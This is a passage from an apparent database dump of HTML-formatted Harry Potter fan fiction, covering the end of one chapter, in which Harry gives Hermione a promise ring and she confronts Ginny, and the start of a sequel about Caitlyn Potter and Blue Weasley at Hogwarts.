eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt a smile cross\nher lips. &#8220;A half hour huh&#8230;&#8221; was all she was able to say before Harry swept her\nup in a rather passionate kiss. His mouth pressed hard against hers as his\ntongue demanded entry, which she was most willing to provide. He backed them up\nagainst the wall, one hand ensnared in her long locks, the other curved around\nher waist. She brought her own hands up to play in his dark hair, letting it\nslip through her fingers as Harry tore his mouth from hers to press opened\nmouth kisses to her throat, leaving a trail of faint love marks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh Mr. Potter&#8230;do you know\nwhat you&#8217;re doing to me?&#8221; Hermione breathed as Harry lightly traced his tongue\ndown her smooth skin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Probably the same thing as\nyou do to me Mrs. Potter&#8230;&#8221; Harry said, mumbling against her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mrs. Potter?&#8221; Hermione\nasked, smiling. &#8220;That would depend on the size of the ring, you know.&#8221; She\njoked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry drew back from her.\n&#8220;Well of course. &#8220; he said. &#8220;But, for now&#8230;&#8221; he plunged a hand inside his robes\nand drew out a tiny box. Hermione looked on with curious eyes as he opened it\nand held it towards her, his hand shaking slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took it and gasped\nlightly, a beautiful ring was inside, a white gold band with one ruby\nintertwined with a sapphire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t an engagement ring,&#8221;\nHarry began, taking it from the box and slipping it on her finger. &#8220;But it is a\npromise ring, because I do, with your permission of course, intend to make you\nMrs. Potter someday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s beautiful,&#8221; Hermione\nsaid, her eyes tearing up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My father gave this ring to\nmy mother, these were their birthstones as well.&#8221; Harry said, leaning forward\nto rest his forehead on hers. &#8220;I think it&#8217;s a sign.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it is.&#8221; Hermione kissed\nhim lightly. &#8220;I do love you, Harry.&#8221; She kissed him again, a bit harder this time.\n&#8220;And for the record, you do have my permission.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed and hugged her\ntightly. Needless to say, they were twenty minutes late for their first class.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later that day, long after\ndinner was over, Ginny finally left the comfort of her bed and tried to sneak\nthrough the common room unnoticed so she could go to the kitchens and get some\nfood. It had without a doubt been the worst day of her life, everyone was\ntalking behind her back and her life seemed to be ruined. Unfortunately for\nher, Holly and Olive were holding court by the fire, they had caught sight of\nher and the taunts had started again. She ran through the portrait and smack\ninto Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny.&#8221; Hermione said\ncoolly. &#8220;I think we need to have a chat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny&#8217;s lip curled. &#8220;I don&#8217;t\nhave anything to say to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I think you do.&#8221;\nHermione took her by the arm and marched her back into the common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everyone out!&#8221; Hermione\nannounced. Holly and Olive&#8217;s group looked at her disdainfully. &#8220;Out, or I start\ntaking off points!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grumbling, the room quickly\ncleared out, Hermione could hear dormitory doors slamming shut, and she and\nGinny were alone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t order me around.&#8221;\nGinny snapped. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes.\n&#8220;Fine, have it your way, but you&#8217;re going to hear me out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny glared at her and sat\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First things first.&#8221;\nHermione began. &#8220;Look, I know how you must feel about me now, and frankly, I\ndon&#8217;t care. But I want you to know just how much you hurt me, when you and your\nfriends said those things about me so I could overhear. And the fact that your\nhorrible little plan almost worked&#8230;.&#8221; Ginny&#8217;s eyes narrowed. &#8220;Yes, Ginny, I\nknow about it, Harry told me everything. We don&#8217;t keep secrets from each\nother.&#8221; Hermione paced the floor in front of the fire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know that I&#8217;m not the\nbest looking girl. And I&#8217;ve been fine with that most of my life, and yes, I do\nhave some insecurity about how I look, especially when I&#8217;m with Harry, but I&#8217;ve\nfound, thanks to your dirty trick, just how much he really loves me, not just\nfor how I look, but for all of me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I really don&#8217;t\ncare.&#8221; Ginny said, looking into the fire. &#8220;Why are you telling me this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because, I want you to know\nhow I felt.&#8221; Hermione replied. &#8220;And you now know how I felt, because of the way\nyou look now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny rose from the seat\nlike a volcano. &#8220;You did this to me!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit down!&#8221; Hermione said,\nlouder this time, glaring at Ginny. &#8220;It&#8217;s about time you got a taste of your\nown medicine, how you make other people feel because they aren&#8217;t as beautiful\nas you are.&#8221; Hermione pulled out her wand and pointed it at Ginny, then said a\nfew words. Ginny&#8217;s clothes shrank back to their normal too small size, and her\nhair was back to it&#8217;s lustrous state. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If I ever hear you saying things\nlike that about other people again, trust me, the spell will be a lot more\npermanent than this.&#8221; Hermione warned. Ginny said nothing more, she knew\nHermione would make good on her threat. She looked up as Hermione pushed a lock\nof her hair back with her hand, and Ginny gasped as a bright sparkle came from\nher finger. Hermione caught this and smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I guess in a\nsense, I should thank you too. Because of this, Harry and I have become closer\nthan ever.&#8221; Hermione held up her hand in Ginny&#8217;s face. &#8220;I even got a promise\nring, what will become a Potter family heirloom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny glared in jealousy at\nHermione as she turned, and with a proud toss of her bushy hair, she took off\nin the direction of the Head Boy and Girl dormitories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione let herself into\nHarry&#8217;s room and closed the door behind her firmly. &#8220;Harry?&#8221; she called out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah?&#8221; he answered from the\nbathroom. &#8220;I&#8217;ll be out in a minute.&#8221; He appeared a moment later, a towel\nhanging from his hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well isn&#8217;t that a welcome\nsight.&#8221; Hermione said, completely enjoying the way Harry&#8217;s towel was hanging\njust a little lower than it should be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is?&#8221; his mouth formed\na smirk as she drew closer. Wordlessly, she began to tug at the towel. &#8220;Hey!&#8221;\nhe said. &#8220;You have a slight advantage here, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; She said, raising\nher face to his and deeply kissing him. His arms went around her as his body\npressed against hers. He unclasped her robe and let it fall to the floor,\nfollowed by her sweater and skirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Better.&#8221; Harry said, lightly\nbrushing her shoulder with his hand, loving the way she shivered at his touch.\nHe lowered his lips to hers, first sweetly kissing her mouth, then making his\nway down her neck and across her shoulder. He took her bra strap in his teeth\nand tugged on it, making her laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My turn.&#8221; Hermione said,\npushing Harry so that he fell on the bed. She sat on top of him, straddling\nhim, as she scraped her fingertips lightly up and down his chest. &#8220;My my,\nHarry, is that a wand in your towel or are you just happy to see me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really happy to see\nyou.&#8221; Harry said, pulling her fully on top of him, reaching in back to unclasp\nthe troublesome bra. Once he had it undone, he threw it across the room, then\nbrought her body against his and kissed her, she took the initiative this time\nand brushed her tongue against his lower lip, wanting everything he had, and he\ngave her everything he had to offer. The towel lay on the floor now, forgotten\ncompletely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A time later, Harry and\nHermione lay basking together in the warm glow of their love. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What made you so frisky\ntonight?&#8221; he asked. &#8220;Not that I mind, now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s just say I got some\nunresolved feelings off my chest with Ginny.&#8221; Hermione said. &#8220;I don&#8217;t think\nshe&#8217;ll be playing any more tricks, but I don&#8217;t&#8217; ever see us becoming friends\nagain either.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you change her back?&#8221;\nHarry asked, pulling her a little tighter against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Hermione replied.\n&#8220;I&#8217;m not so mean to leave her looking so horrid. I wanted her to get a taste of\nher own medicine. That and I threatened to put a permanent spell on her if she\ndid it again.&#8221; She paused. &#8220;Then I flashed my ring in her face.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed loudly. &#8220;You\ndidn&#8217;t!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did.&#8221; Hermione said. &#8220;I&#8217;m\nproud to wear your ring.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; Harry said, kissing\nher once more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Heehee what a load of\nfluff. Hope you&#8217;ve enjoyed, and don&#8217;t&#8217; forget to Read and Review, not flame.\nThanks!!! :)&nbsp;&nbsp;&nbsp;&nbsp; )</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(80, 1, ' <p>(A/N: Well this got done quicker than I expected&#8230;.</p>\n\n<p>This is the sequel to Return to Me, so if you haven&#8217;t read that, turn back now and do so, because there are a lot of OC&#8217;s you won&#8217;t recognize unless you read that story.</p>\n\n<p>Like I stated many times in the last few chapters of RTM&#8230;this fic focuses more on Caty/Blue, but I do promise a number of H/H moments since I&#8217;m placing this fic in that filter.</p>\n\n<p>Enjoy! :)</p>\n\n<p>&nbsp;&#8220;Ugh!&#8221; Caitlyn Potter crumpled up her third piece of parchment and threw it into her bag. She had just been up to Dumbledore&#8217;s office, he and Professor McGonagall had been happy to inform her that she had the highest marks in the graduating class, therefore she was required to make a speech at the ceremony the following day. So far, everything she had come up with was just wrong.</p>\n\n<p>&#8220;We the graduating class of Hogwarts are happy to be&#8230;no, no wrong!&#8221; She crumpled up another piece and sighed heavily.</p>\n\n<p>&#8220;Tree killer!&#8221; a voice rang out across the room. Caitlyn turned and grinned as she saw her best friend of 7 years come loping across the room. &#8220;Hey gorgeous.&#8221; Blue Weasley leaned over and pecked her on the cheek.</p>\n\n<p>&#8220;Sexy.&#8221; She replied. &#8220;What&#8217;s up?&#8221;</p>\n\n<p>Blue flopped himself on the couch next to her, then positioned himself so his head was in her lap, covering the parchment she was trying to write on. &#8220;I&#8217;m bored.&#8221; He said. &#8220;All our friends are partying in Hogsmeade tonight, and I&#8217;m stuck here with you.&#8221; He stuck his lower lip out.</p>\n\n<p>&#8220;Well I&#8217;m sorry you&#8217;re bored, why don&#8217;t you go throw some dungbombs at the Slytherins?&#8221; she said, patting his cheek and then pushing his head away. </p>\n\n<p>&#8220;Because I don&#8217;t know where their common room is.&#8221; Blue said, refusing to move. &#8220;Besides, we already did that after dinner.&#8221;</p>\n\n<p>&nbsp;&#8220;Blue!&#8221; Caitlyn said, laughing. &#8220;You and your cousins are just terrible, you know that.&#8221;</p>\n\n<p>&#8220;It&#8217;s a Weasley thing!&#8221; Blue protested in defense. &#8220;Let&#8217;s go to Hogsmeade!&#8221; he exclaimed loudly, causing a few students to turn and look over at them.</p>\n\n<p>&#8220;SHHHH!&#8221; Caitlyn hissed. &#8220;We can&#8217;t go to Hogsmeade now, we&#8217;ve missed the carriages!&#8221;</p>\n\n<p>&#8220;Why not?&#8221; Blue asked. &#8220;You have an invisibility cloak AND the Marauder&#8217;s Map.&#8221; He pulled on her hand and she was forced to stand up, spilling her parchment all over the floor. &#8220;You&#8217;ve got all the essentials for rule breaking and sneaking out and you don&#8217;t want to!&#8221;</p>\n\n<p>Caitlyn looked at him for a moment, biting her lower lip. &#8220;Will you help me with my speech?&#8221; she asked.</p>\n\n<p>&#8220;Sure.&#8221; Blue instantly agreed. Caitlyn grinned, then summoned all her parchment to her hands and dashed upstairs, grabbing the map and the cloak from her neatly packed trunk.</p>\n\n<p>&#8220;Okay.&#8221; She said, running back down to the common room. &#8220;Let&#8217;s go.&#8221; Blue grabbed the end of the cloak and threw it over the two of them, and then he used his wand to make the map appear.</p>\n\n<p>&#8220;Okay, all clear.&#8221; He said, and they huddled close as they left the Gryffindor Tower and headed to the secret passage that would let them into Honeydukes.</p>\n\n<p>&#8220;We&#8217;re almost there.&#8221; Blue said, grabbing her arm and holding it tight. </p>\n\n<p>&#8220;I know we are.&#8221; Caitlyn said. &#8220;Blue, you act like we&#8217;ve never been down here before.&#8221;</p>\n\n<p>&#8220;Heh heh&#8230;&#8221; Blue heckled. &#8220;I know we have.&#8221;</p>\n\n<p>Caitlyn looked at him as if he&#8217;d lost his mind. &#8220;Are you okay? You started acting weird when we got in the tunnel.</p>\n\n<p>Blue looked at his best friend for a moment. She was so pretty, her long chestnut brown hair that she had straightened back in their 5th year, her striking green eyes and her slender figure. He had fallen for her long ago, but never worked up the courage to tell her.</p>\n\n<p>&#8220;Blue, what are you staring at me for?&#8221; Caitlyn was starting to get very exasperated.</p>\n\n<p>&#8220;It&#8217;s just that&#8230;I think you&#8230;&#8221; he leaned in close to her face. &#8220;You have a big smear of chocolate on your face!&#8221; he said and leaned forward and planted a large sloppy kiss on her cheek.</p>\n\n<p>&#8220;Blue!&#8221; she yelled. &#8220;I wasn&#8217;t even eating chocolate!&#8221; He clapped a hand over her mouth as the door opened and one of the owners peered down.</p>\n\n<p>&#8220;Anyone there?&#8221; he asked. Hearing and seeing nothing out of the ordinary, he shrugged and closed the door.</p>\n\n<p>&#8220;That was close.&#8221; Blue muttered. He pulled the cloak off them and stuffed it into his pocket. &#8220;I think it&#8217;s safe to go up now.&#8221;</p>\n\n<p>They ascended the stairs and came out the back entrance, blending right into the crowd. </p>\n\n<p>&#8220;How about a butterbeer?&#8221; Caitlyn asked.</p>\n\n<p>&#8220;Sure.&#8221; Blue agreed. They made their way over to the Three Broomsticks, where Caitlyn scurried to one of the only open tables and Blue got the butterbeer.</p>\n\n<p>&#8220;Service with a smile.&#8221; Blue said, turning his lips inside out and putting her butterbeer in front of her.</p>\n\n<p>&#8220;Blue!&#8221; Caitlyn said, laughing. She loved her friend&#8217;s sense of humor. &#8220;Help me on my speech.&#8221; She pulled the parchments out of her pocket and spread them across the table.</p>\n\n<p>Blue snorted as he read some of her beginnings. &#8220;We, the graduating class of Hogwarts 20&#8212;&#8220;he mimicked in a high falsetto voice.</p>\n\n<p>&#8220;You ass, I do not sound like that!&#8221; Caitlyn threw a piece of parchment at him and laughed.</p>\n\n<p>&#8220;When you get nervous you do!&#8221; Blue insisted, his eyes betraying the serious tone he was trying to convey. &#8220;That time that McGonagall made you get up and give a speech on Animagi, I thought you were going to pass out.&#8221;</p>\n\n<p>&#8220;I was NOT!&#8221; Caitlyn retorted. </p>\n\n<p>&#8220;Fine, whatever you say.&#8221; Blue smirked, bringing his chair over to Caitlyn&#8217;s. Their butterbeers kept filling back up as soon as they drained their glasses, and about an hour later, they had had too many to count and Caitlyn&#8217;s speech had been written.</p>\n\n<p>&#8220;You are NOT going to stand up and laugh during my speech tomorrow!&#8221; Caitlyn remarked loudly as Blue threw a few Galleons on the table and they stood up to leave. &#8220;If you do I&#8217;m going to YELL at you!&#8221;</p>\n\n<p>&#8220;You will, huh?&#8221; Blue grinned. &#8220;Well I will just have to YELL back!&#8221; they both laughed heartily as the door to the Three Broomsticks banged shut behind them.</p>\n\n<p>&#8220;I don&#8217;t want to go back to the castle yet&#8230; look everyone from 7th year is still out here celebrating!&#8221; Caitlyn said, stumbling a little and leaning up against Blue. </p>\n\n<p>&#8220;Okay.&#8221; He agreed, not wanting his time alone with her to end either. &#8220;How about we walk some of this butterbeer off in the park?&#8221;</p>\n\n<p>&#8220;Suurre.&#8221; She said, giggling. Taking advantage of her state, Blue reached down and wrapped his hand around hers. She looked as if she were going to pull away for a moment, but then left her hand in his. They strolled down the street in a comfortable silence, not noticing the whispers of some of their classmates.</p>\n\n<p>Caitlyn saw an empty bench and broke away from Blue to claim it. &#8220;My bench!&#8221; she sang out, giggling harder. Blue grinned and sat down next to her. </p>\n\n<p>&#8220;No it&#8217;s mine.&#8221; He said, pushing her over. </p>\n\n<p>&#8220;Hey!&#8221; she squealed. &#8220;I was here first!&#8221; by now they were both laughing again. She shoved him back hard and he almost toppled off the bench.</p>\n\n<p>&#8220;You&#8217;re too strong for your own good!&#8221; Blue said as he got back up. She grinned devilishly at him. &#8220;This bench really must be special to you.&#8221;</p>\n\n<p>&#8220;Yes I am stronger and I&#8217;ll kick your ass for this bench too!&#8221; Caitlyn grinned as he sat back down. This time he tried to push her away but she was too fast, once again succeeding in making him fall onto the ground. </p>\n\n<p>&#8220;Caty!&#8221; he said, getting up. &#8220;That one hurt!&#8221;</p>\n\n<p>&#8220;Awww poor baby!&#8221; she giggled again. &#8220;Want me to kiss it and make it all better?&#8221;</p>\n\n<p>&#8220;Well since you brought it up&#8230;&#8221; Blue turned around so his rear was in her face. &#8220;Do it.&#8221;</p>\n\n<p>&#8220;GROSS!&#8221; She screamed and shoved him away. &#8220;You&#8217;re really disgusting sometimes, you know that?&#8221;</p>\n\n<p>&#8220;Yeah but you still love me.&#8221; Blue said. &#8220;I&#8217;m totally irresistible.&#8221;</p>\n\n<p>&#8220;Whatever.&#8221; Caitlyn rolled her eyes. Blue finally sat down next to her and leaned his head on her shoulder.</p>\n\n<p>&#8220;Anyone who sticks their ass in my face&#8230;&#8221; Caitlyn turned and mock glared at him. They looked at each other seriously for a moment, then both burst out laughing. It was Blue&#8217;s turn to push her off, and she grabbed the front of his robe bringing him down on top of her.</p>\n\n<p>&#8220;Oof!&#8221; they both said at the same time.</p>\n\n<p>&#8220;My head.&#8221; Caitlyn groaned. She reached up a hand and pressed it to her forehead. &#8220;Thanks Blue!&#8221;</p>\n\n<p>&#8220;Sorry.&#8221; Blue said, not really meaning it, as he was lying on top of her, and she was so involved with her head she didn&#8217;t even realize it.&nbsp; &#8220;Here let me see.&#8221; He said, pushing her hand away.</p>\n\n<p>Caitlyn stared up at her best friend as he examined the bump. &#8220;Blue.&#8221; She said quietly.</p>\n\n<p>&#8220;What?&#8221; he asked.</p>\n\n<p>&#8220;You&#8217;re on top of me.&#8221;</p>\n\n<p>&#8220;I know.&#8221; He grinned at her despite everything.</p>\n\n<p>&#8220;Well would you mind getting off?&#8221; she asked, a bit annoyed.</p>\n\n<p>Blue raised himself off of her and she sat up, too quickly.</p>\n\n<p>&#8220;Oooh, with that butterbeer and knocking my head, I&#8217;m a bit dizzy.&#8221; She said. &#8220;We should probably get back.&#8221;</p>\n\n<p>&#8220;Okay.&#8221; Blue muttered. He had almost had his chance to kiss her and he&#8217;d waited too long. Since they hadn&#8217;t taken the carriages to Hogsmeade, they could not go back with the rest of their class, so they had to put the invisibility cloak back on and trudge through Honeydukes. Once safely back in the now deserted Gryffindor common room, Blue handed her back the cloak.</p>\n\n<p>&#8220;Well, goodnight.&#8221; He said, leaning forward and pecking her on the cheek.</p>\n\n<p>&#8220;Blue?&#8221; she said as he was walking towards his dormitory.</p>\n\n<p>&#8220;Yeah?&#8221; he turned around.</p>\n\n<p>Caitlyn came forward and hugged him tightly. &#8220;Thanks for helping me with my speech tonight.&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Blue said, wrapping his arms around her. &#8220;I&#8217;d do anything for you, you know that.&#8221;</p>\n\n<p>&#8220;I know.&#8221; She pulled back and smiled at him. They looked at each other for a long moment, and then in a surprising move, Caitlyn raised herself up and kissed him lightly on the lips. She could feel his shock at her action, but when he started to respond she pulled back.</p>\n\n<p>&#8220;Blue I shouldn&#8217;t have done that, I&#8217;m sorry.&#8221; Caitlyn said, looking away.</p>\n\n<p>&#8220;I&#8217;m not.&#8221; Blue said softly. He tilted her face back again and once more brought his lips to hers. She tried to push away at first, but found herself giving in after a moment. He swept his right hand up her back and into her long locks, loving the feel of the silky hair between his fingers. His left hand cupped the side of her face, lightly rubbing his thumb across her cheek. Caitlyn made a soft whimpering sound and he took that as a sign she liked this and tried to deepen the kiss. Blue gently stroked his tongue across her bottom lip and she opened her mouth to his, matching his kiss with her own. Pushing her tongue into his mouth and flicking it lightly against his, she wondered why they hadn&#8217;t done this before.</p>\n\n<p>&#8220;<i>This feels so nice!</i>&#8221; One part of her screamed out, making her run her hand around the back of Blue&#8217;s neck to keep him close to her. &#8220;But he&#8217;s your best friend!&#8221; the other half of her screamed back. However, that part was not strong enough at that moment to break what was going on between them.</p>\n\n<p>Blue was ecstatic, he could not have planned this better himself. And she had been the one to initially kiss him! He pressed harder against her mouth and began to move their bodies over to one of the sofas. Turning her around, he fell back onto the couch first so that she&#8217;d be on top of him. Her hair fell around them, creating a curtain that shut out everything else. Blue wove his fingers into her locks and crushed her mouth against his, using his other hand to run down the side of her body, his lower half aching.</p>\n\n<p>&#8220;Oh, God&#8230;Blue&#8230;&#8221; Caitlyn mumbled into his mouth, kissing him harder as well. Despite her hormones raging overtime, that annoying voice in the back of her head started to nag again. &#8220;<i>He&#8217;s your best friend, you&#8217;ve never even had an argument with him, having a relationship could screw things up forever between you&#8230;. best friend best friend best friend&#8230;</i>&#8221; the thoughts echoed in her head until she could not take it anymore.</p>\n\n<p>&#8220;Blue&#8230;&#8221; Caitlyn pulled her mouth away from his and pushed herself off of him. &#8220;We can&#8217;t do this.&#8221;</p>\n\n<p>&#8220;Why?&#8221; Blue asked, sitting up and brushing his longish red hair out of his eyes.</p>\n\n<p>&#8220;Because&#8230;&#8221; she struggled to find the right words. &#8220;Blue we have too good a friendship, we can&#8217;t screw this up.&#8221;</p>\n\n<p>&#8220;Caty, we aren&#8217;t going to screw anything up.&#8221; Blue moved over on the sofa closer to her.</p>\n\n<p>&#8220;How do you know that?&#8221; Caitlyn asked. &#8220;What if we go out and break up? You have been too good a friend to me all these years. I couldn&#8217;t lose you like that.&#8221;</p>\n\n<p>&#8220;Caty&#8230;.&#8221; Blue took her hand in his. &#8220;We wouldn&#8217;t break up.&#8221;</p>\n\n<p>Caitlyn rolled her eyes. &#8220;Blue, in case you don&#8217;t remember, you do not specialize in Divination.&#8221;</p>\n\n<p>&#8220;I&#8217;m being serious.&#8221; Blue said, which was quite uncharacteristic for him. &#8220;I love you.&#8221;</p>\n\n<p>Caitlyn looked at him, startled. &#8220;What?&#8221;</p>\n\n<p>&#8220;I love you.&#8221; Blue said quietly. </p>\n\n<p>&#8220;Holy Merlin&#8217;s beard...&#8221; Caitlyn pulled her hand away from Blue&#8217;s and buried her face in them. &#8220;Blue you don&#8217;t love me.&#8221;</p>\n\n<p>He reached out and tried to pull one of her hands away. &#8220;Yes I do. I&#8217;ve loved you since our 5th year.&#8221;</p>\n\n<p>&#8220;We&#8217;re too young to know what love is.&#8221; Caitlyn said irrationally. &#8220;I mean, we&#8217;re not even 18 yet, we haven&#8217;t lived on our own, love is something that happens gradually.&#8221;</p>\n\n<p>&#8220;It did.&#8221; Blue replied. &#8220;Two years it took me to realize just how I felt about you!&#8221;</p>\n\n<p>Caitlyn groaned and got up, crossing over the room to the fireplace. &#8220;Blue, this was such a mistake tonight.&#8221;</p>\n\n<p>Blue bit his lower lip, feeling his insides burn. &#8220;A mistake?&#8221;</p>\n\n<p>Caitlyn felt bad, she hadn&#8217;t meant to say it like that. &#8220;I&#8217;m sorry, I didn&#8217;t mean it that way.&#8221;</p>\n\n<p>&#8220;How did you mean it?&#8221; Blue asked, jumping off the sofa and coming over to her.</p>\n\n<p>&#8220;I just&#8230;&#8221; Caitlyn put her fingers to her forehead and pinched, she could really feel a headache coming on now. &#8220;I don&#8217;t know, Blue, I&#8217;m just really confused right now.&#8221;</p>\n\n<p>&#8220;Caty, please&#8230;&#8221; Blue felt a bit desperate. &#8220;Everyone already thinks we&#8217;re going out, it really wouldn&#8217;t be much different than we are now, except we&#8217;d go out on dates, we&#8217;d kiss&#8230;.&#8221;</p>\n\n<p>Caitlyn pushed her hands through her hair. She had heard those rumors as well, but had never put any stock in them. Apparently her best friend had, however. &#8220;Blue&#8230; those were rumors, they weren&#8217;t true.&#8221; She said softly. </p>\n\n<p>&#8220;But they could be!&#8221; he said, reaching out for her hand again, forcing her to come up against him. His other hand tipped back her chin and he could see the confusion swimming around in her eyes. &#8220;Caty&#8230;please&#8230;just give us one chance, and if it doesn&#8217;t work, I&#8217;ll let go and everything will be fine, just please&#8230;&#8221; Blue leaned down and brushed his mouth against hers again, and Caitlyn didn&#8217;t pull away but she didn&#8217;t kiss him back this time either. They stood there with their lips locked for a few more moments before she finally pulled her head away.</p>\n\n<p>&nbsp;&#8220;Blue, I can&#8217;t, it would never be the same.&#8221; Caitlyn started walking towards the dormitories. &#8220;I&#8217;m sorry&#8230;.&#8221; was her final offering before she ran up the stairs.</p>\n\n<p>Blue stared at the now empty sofa for a long moment before sitting down heavily on it. From deep in his pocket he pulled out a tiny box; he opened it and looked at the trinket inside. &#8220;It was going to be so perfect&#8230;&#8221; he mumbled to himself, watching it sparkle in the firelight.</p>\n\n<p>*****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****</p>\n\n<p>Back in England, Harry Potter was currently sitting on the sofa with his wife Hermione, rereading the note from Dumbledore telling them that Caitlyn had the highest marks in the class.</p>\n\n<p>&#8220;I&#8217;m so proud of her.&#8221; Hermione said softly, resting her head against Harry&#8217;s shoulder.</p>\n\n<p>&#8220;Me too.&#8221; Harry said. &#8220;Highest marks, wonder who she got that from?&#8221; he teased, looking down at Hermione.</p>\n\n<p>She smiled. &#8220;Well I&#8217;m certainly glad my love of studying didn&#8217;t die with me.&#8221; They both laughed.</p>\n\n<p>&#8220;I still can&#8217;t believe my little girl is graduating tomorrow.&#8221; Harry said, feeling a tug in his stomach.</p>\n\n<p>&#8220;Are we feeling a bit emotional right now?&#8221; Hermione asked, gently touching the side of Harry&#8217;s face.</p>\n\n<p>&#8220;Yeah.&#8221; He replied. &#8220;I mean, it feels like yesterday she was just leaving for Hogwarts as a first year&#8230;.&#8221; He trailed off, turning his lips into Hermione&#8217;s palm. </p>\n\n<p>&#8220;Thank God you&#8217;ve been here all this time.&#8221; Harry pressed a gentle kiss into her hand. He was about to do more when a small black haired figure hurtled into the room.</p>\n\n<p>&#8220;When are we leaving for Caty&#8217;s school?&#8221; Colin Potter, aged 6, was very impatient to see his big sister.</p>\n\n<p>&#8220;Colin James, you are supposed to be in bed!&#8221; Harry admonished.</p>\n\n<p>&#8220;I know.&#8221; Colin stuck his lower lip out and Hermione was extremely amused to see how much he looked like his father when he pouted. &#8220;But I want to stay up until we go!&#8221;</p>\n\n<p>Harry grunted as he left his comfortable spot next to his wife. He picked his son up and swung him high into the air, making him laugh. &#8220;Come on, to bed with you, the sooner you go to sleep the sooner it&#8217;ll be time to go.&#8221; Harry looked at Hermione. &#8220;I&#8217;ll be right back.&#8221; He threw Colin over his shoulder and went down the hallway to his bedroom.</p>\n\n<p>Hermione picked up the parchment once more and read over it, bursting with pride. She couldn&#8217;t wait to see her daughter tomorrow and tell her how happy this had made her. She traced Dumbledore&#8217;s words lightly with her index finger, and never noticed as a lone tear made it&#8217;s way down her cheek.</p>\n\n<p>&#8220;Hey.&#8221; Harry said, coming back in the room and resuming his spot. 